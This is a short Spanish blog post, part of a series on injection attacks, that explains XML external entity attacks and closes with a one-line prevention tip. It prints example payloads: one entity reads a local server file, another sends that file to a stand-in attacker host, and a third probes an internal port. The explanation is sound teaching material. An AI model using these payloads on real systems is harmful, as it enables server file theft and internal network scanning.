martes, 25 de diciembre de 2012

Ataques de Inyeccion (Parte 3)

Ataques XML

2.3.1  ¿Qué son?

XML (eXtensible Markup Lenguage) es un metalenguaje extensible de etiquetas desarrollado por W3C(World Wide Web Consorcium). XML permite definir la gramática de lenguajes específicos por lo que XML no es un lenguaje en particular sino una manera de definir lenguajes para distintas necesidades.
XML  propone como estándar para el intercambio de información estructurada entre diferentes plataformas.
XML permite el uso de entidades, elementos que referencian contenido dentro del propio documento.
Un ejemplo lo construye:
< !ENTITY pfc "Proyecto Final de Carrera"> que define la abreviatura de un testo para posteriormente utilizarla dentro del documento.
Pero XML también tiene la posibilidad de insertar contenido de elementos externos, y si no se establece ninguna restricción, entonces se pueden realizar los ataques XML.

2.3.2  ¿Qué puede hacer un ataque XML?

Los ataques XML pueden producir diversos efectos, como los dos mencionados a continuación:
• Lectura de ficheros arbitrarios: Es posible definir  una entidad que expanda el contenido de un fichero local del servidor, como por ejemplo:
< !DOCTYPE doc [         < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>
  Escaneo de puertos: Se pueden definir entidades externas que el servidor deba resolver pata insertar su contenido en un documento.
< !DOCTYPE scan [  < !ENTITY pfc SYSTEM "http://1.1.1.1:21/">]>

2.3.3  Cómo evitarlo
Para prevenir los ataques XML hay que indicarle al servidor que no procese entidades externas.


No hay comentarios:

Publicar un comentario

Esperando tu comentario...